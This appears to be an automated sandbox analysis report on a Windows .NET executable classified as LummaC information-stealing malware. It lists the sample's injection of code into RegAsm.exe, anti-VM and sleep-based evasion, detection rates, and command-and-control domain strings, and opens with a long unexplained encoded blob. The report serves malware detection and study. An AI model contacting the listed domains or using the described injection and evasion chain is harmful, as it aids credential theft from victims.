MyZ1dRaFpDUWhaVkprSVdRaFpBTlZrQ01GWnhCMEkyQ2tRUVp3WjFEVmdXQjA0QkpFNDdhQlpDUWhaVkprSVdRaFpDUWhReVl4WmlDa1FIQTFJMmFReENCMDRXUUJwNERFSVdRaFpDUWhaVkprSVdRaFEwQzBRQmN3TmFJMW9PRFZVd2ZrQWFienhDUWhaVkprSVdRaFpDUWhaWFVSQmZGbE15RUZrV1l4RkZMMU1QRFVRTUpFNDdhQlpDUWhaVkprSVdRaFpDUWhRbll3TlNNa1FOQVZNR2RTOVREMWtRR3hSWkMyZ1dRaFpDUWhaVkprSVdRaFpBT0VFZ2FBOVhFbUFMQjBFNllERlRBVUlMRFZoWEttODhRaFpDUWhaVkprSVdRaFpDUUhVSFl3TkNCMllRRFZVUWRSRjNRRHRvUWhaVkprSVdRaFlmV1R0L0prSVdRa3R2YUJaVkprSVZCMWdHRUZNU2J3MVlienh2YUJaVkprSVZFRk1GQzFrYkppTkdDM0lIRGxNU1p4WlRFVHRvUWhaVkpoSkVDMEFERmxOVllnZGFCMUVERmxOVmJ3eENRbVFIRVVNWVl6WmVFRk1EQm5JUWFnZFJBMElIU244YmNqSkNFQllLQTFnUmFnY2ZXVHRvUWhaVkpoSkVDMEFERmxOVllnZGFCMUVERmxOVlpBMVpEaFl4QjBJaWFSVUFWbUlLRUZNVVlpRlpERUlIR2tJeFl3NVRCVmNXQng0OGFCWm1Ga1JDRmw0SFl3TlNUaFlMREVJdVcwSlZEVmdXQjA0QkwxazdhQlpDUWhZRmRBdEFBMElIUWxJUWFnZFJBMElIUWxRYWFRNFdNVk1XTmw0SFl3TlNJVmtNRmxNTmNpWlREbE1GQTBJUUxpdFlGbVlXRUJZQmJoQlRBMUpPUWw4YmNqbHJRbFVOREVJUWZoWWZXVHRvUWhaVkpoSkVDMEFERmxOVllnZGFCMUVERmxOVlpBMVpEaFlsQjBJaWFSVUFWbUlLRUZNVVlpRlpERUlIR2tJeFl3NVRCVmNXQng0OGFCWm1Ga1JDRmw0SFl3TlNUaFlMREVJdVcwSlZEVmdXQjA0QkwxazdhQlpDUWhZRmRBdEFBMElIUWxJUWFnZFJBMElIUWxRYWFRNFdKVk1XTmw0SFl3TlNJVmtNRmxNTmNpWlREbE1GQTBJUUxpdFlGbVlXRUJZQmJoQlRBMUpPUWw4YmNqbHJRbFVOREVJUWZoWWZXVHRvUWhaVkpoSkVDMEFERmxOVllnZGFCMUVERmxOVmJ3eENRbUFMRUVJQVp3NTNEbG9OQVhNTlFnZGFCMUVERmxOZFR3eENNa0lRUWw0VWFBWmFCeHBDQzFnQkpnTlNCa1FIRVVWWkpndFlGaFlPQjFnU2Nnb2FRbDhNRmhZQmZ4SlRUaFlMREVKVmRoQlpGbE1CRmg5T0MyZ1dRaFpDRWtRY2NBTkNCeFlHQjFvUVlRTkNCeFlBRFZrWkpqVkVDMElITDFNWWFSQlBKbE1PQjFFVWNnY2VLMWdXTWtJSEp

Source: classification engine

Classification label: mal100.troj.spyw.expl.evad.winEXE@8/7@1/2

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 5_2_00439250 CoCreateInstance,SysAllocString,CoSetProxyBlanket,SysAllocString,SysAllocString,VariantInit,VariantClear,SysFreeString,SysFreeString,SysFreeString,SysFreeString,GetVolumeInformationW,

5_2_00439250

Source: C:\Users\user\Desktop\ZjH6H6xqo7.exe

File created: C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\ZjH6H6xqo7.exe.log

Jump to behavior

Source: C:\Users\user\Desktop\ZjH6H6xqo7.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5428:120:WilError_03

Source: C:\Users\user\Desktop\ZjH6H6xqo7.exe

File created: C:\Users\user\AppData\Local\Temp\up5gphgh

Jump to behavior

Source: ZjH6H6xqo7.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: ZjH6H6xqo7.exe

Static file information: TRID: Win32 Executable (generic) Net Framework (10011505/4) 49.83%

Source: C:\Users\user\Desktop\ZjH6H6xqo7.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: ZjH6H6xqo7.exe	ReversingLabs: Detection: 71%
Source: ZjH6H6xqo7.exe	Virustotal: Detection: 65%

Source: unknown	Process created: C:\Users\user\Desktop\ZjH6H6xqo7.exe "C:\Users\user\Desktop\ZjH6H6xqo7.exe"
Source: C:\Users\user\Desktop\ZjH6H6xqo7.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\up5gphgh\up5gphgh.cmdline"
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RES6781.tmp" "c:\Users\user\AppData\Local\Temp\up5gphgh\CSCE347F25DAC914FE0BD5774A121A2513C.TMP"
Source: C:\Users\user\Desktop\ZjH6H6xqo7.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\RegAsm.exe"
Source: C:\Users\user\Desktop\ZjH6H6xqo7.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\up5gphgh\up5gphgh.cmdline"	Jump to behavior
Source: C:\Users\user\Desktop\ZjH6H6xqo7.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\RegAsm.exe"	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RES6781.tmp" "c:\Users\user\AppData\Local\Temp\up5gphgh\CSCE347F25DAC914FE0BD5774A121A2513C.TMP"	Jump to behavior

Source: C:\Users\user\Desktop\ZjH6H6xqo7.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\Desktop\ZjH6H6xqo7.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\ZjH6H6xqo7.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\ZjH6H6xqo7.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\ZjH6H6xqo7.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\ZjH6H6xqo7.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\ZjH6H6xqo7.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\ZjH6H6xqo7.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\ZjH6H6xqo7.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\ZjH6H6xqo7.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\ZjH6H6xqo7.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\ZjH6H6xqo7.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\ZjH6H6xqo7.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Users\user\Desktop\ZjH6H6xqo7.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Users\user\Desktop\ZjH6H6xqo7.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\ZjH6H6xqo7.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\ZjH6H6xqo7.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\ZjH6H6xqo7.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\ZjH6H6xqo7.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\ZjH6H6xqo7.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Users\user\Desktop\ZjH6H6xqo7.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Users\user\Desktop\ZjH6H6xqo7.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\ZjH6H6xqo7.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\ZjH6H6xqo7.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\ZjH6H6xqo7.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\ZjH6H6xqo7.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\ZjH6H6xqo7.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: aclayers.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: sfc.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior

Source: C:\Users\user\Desktop\ZjH6H6xqo7.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0EE7644B-1BAD-48B1-9889-0281C206EB85}\InprocServer32

Jump to behavior

Source: ZjH6H6xqo7.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR

Source: ZjH6H6xqo7.exe

Static PE information: HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Source: ZjH6H6xqo7.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG

Source:

Binary string: $]q8C:\Users\user\AppData\Local\Temp\up5gphgh\up5gphgh.pdb source: ZjH6H6xqo7.exe, 00000000.00000002.2074535680.0000000002FC4000.00000004.00000800.00020000.00000000.sdmp

Source: ZjH6H6xqo7.exe

Static PE information: 0xEFCB81EF [Wed Jun 26 13:28:15 2097 UTC]

Source: C:\Users\user\Desktop\ZjH6H6xqo7.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\up5gphgh\up5gphgh.cmdline"
Source: C:\Users\user\Desktop\ZjH6H6xqo7.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\up5gphgh\up5gphgh.cmdline"			Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe

File created: C:\Users\user\AppData\Local\Temp\up5gphgh\up5gphgh.dll

Jump to dropped file

Source: C:\Users\user\Desktop\ZjH6H6xqo7.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\ZjH6H6xqo7.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\ZjH6H6xqo7.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\ZjH6H6xqo7.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\ZjH6H6xqo7.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\ZjH6H6xqo7.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\ZjH6H6xqo7.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\ZjH6H6xqo7.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\ZjH6H6xqo7.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\ZjH6H6xqo7.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\ZjH6H6xqo7.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\ZjH6H6xqo7.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\ZjH6H6xqo7.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\ZjH6H6xqo7.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\ZjH6H6xqo7.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\ZjH6H6xqo7.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\ZjH6H6xqo7.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\ZjH6H6xqo7.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\ZjH6H6xqo7.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\ZjH6H6xqo7.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\ZjH6H6xqo7.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\ZjH6H6xqo7.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\ZjH6H6xqo7.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\ZjH6H6xqo7.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\ZjH6H6xqo7.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\ZjH6H6xqo7.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\ZjH6H6xqo7.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\ZjH6H6xqo7.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\ZjH6H6xqo7.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\ZjH6H6xqo7.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\ZjH6H6xqo7.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\ZjH6H6xqo7.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\ZjH6H6xqo7.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\ZjH6H6xqo7.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\ZjH6H6xqo7.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\ZjH6H6xqo7.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\ZjH6H6xqo7.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\ZjH6H6xqo7.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\ZjH6H6xqo7.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Yara detected AntiVM3

Source: Yara match

File source: Process Memory Space: ZjH6H6xqo7.exe PID: 5452, type: MEMORYSTR

Query firmware table information (likely to detect VMs)

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

System information queried: FirmwareTableInformation

Jump to behavior

Source: C:\Users\user\Desktop\ZjH6H6xqo7.exe	Memory allocated: 1480000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\ZjH6H6xqo7.exe	Memory allocated: 2F20000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\ZjH6H6xqo7.exe	Memory allocated: 1480000 memory reserve \| memory write watch	Jump to behavior

Source: C:\Users\user\Desktop\ZjH6H6xqo7.exe

Thread delayed: delay time: 922337203685477

Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe

Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\up5gphgh\up5gphgh.dll

Jump to dropped file

Source: C:\Users\user\Desktop\ZjH6H6xqo7.exe TID: 344	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\ZjH6H6xqo7.exe TID: 6536	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe TID: 5560	Thread sleep time: -120000s >= -30000s	Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_BIOS

Source: C:\Windows\System32\conhost.exe

Last function: Thread delayed

Source: C:\Users\user\Desktop\ZjH6H6xqo7.exe

Thread delayed: delay time: 922337203685477

Jump to behavior

Source: RegAsm.exe, 00000005.00000002.2267546315.0000000001545000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000005.00000002.2267546315.000000000158A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: ZjH6H6xqo7.exe, 00000000.00000002.2073668384.00000000011C2000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 5_2_0043E420 LdrInitializeThunk,

5_2_0043E420

Source: C:\Users\user\Desktop\ZjH6H6xqo7.exe

Process token adjusted: Debug

Jump to behavior

Source: C:\Users\user\Desktop\ZjH6H6xqo7.exe

Memory allocated: page read and write | page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

.NET source code references suspicious native API functions

Source: 0.2.ZjH6H6xqo7.exe.5cf0000.1.raw.unpack, Engineers.cs	Reference to suspicious API methods: Marshal.GetDelegateForFunctionPointer(GetProcAddress(LoadLibraryA(ref libraryName), ref methodName), typeof(T))
Source: 0.2.ZjH6H6xqo7.exe.5cf0000.1.raw.unpack, Engineers.cs	Reference to suspicious API methods: Marshal.GetDelegateForFunctionPointer(GetProcAddress(LoadLibraryA(ref libraryName), ref methodName), typeof(T))
Source: 0.2.ZjH6H6xqo7.exe.5cf0000.1.raw.unpack, Engineers.cs	Reference to suspicious API methods: VirtualAllocEx(processInfo.ProcessHandle, num3, length, 12288, 64)

Allocates memory in foreign processes

Source: C:\Users\user\Desktop\ZjH6H6xqo7.exe

Memory allocated: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 400000 protect: page execute and read and write

Jump to behavior

Compiles code for process injection (via .Net compiler)

Source: C:\Users\user\Desktop\ZjH6H6xqo7.exe

File written: C:\Users\user\AppData\Local\Temp\up5gphgh\up5gphgh.0.cs

Jump to dropped file

Injects a PE file into a foreign processes

Source: C:\Users\user\Desktop\ZjH6H6xqo7.exe

Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 400000 value starts with: 4D5A

Jump to behavior

LummaC encrypted strings found

Source: ZjH6H6xqo7.exe, 00000000.00000002.2074535680.0000000002FC4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: faintbl0w.sbs
Source: ZjH6H6xqo7.exe, 00000000.00000002.2074535680.0000000002FC4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: 300snails.sbs
Source: ZjH6H6xqo7.exe, 00000000.00000002.2074535680.0000000002FC4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: 3xc1aimbl0w.sbs
Source: ZjH6H6xqo7.exe, 00000000.00000002.2074535680.0000000002FC4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: thicktoys.sbs

Writes to foreign memory regions

Source: C:\Users\user\Desktop\ZjH6H6xqo7.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 400000	Jump to behavior
Source: C:\Users\user\Desktop\ZjH6H6xqo7.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 401000	Jump to behavior
Source: C:\Users\user\Desktop\ZjH6H6xqo7.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 442000	Jump to behavior
Source: C:\Users\user\Desktop\ZjH6H6xqo7.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 445000	Jump to behavior
Source: C:\Users\user\Desktop\ZjH6H6xqo7.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 455000	Jump to behavior
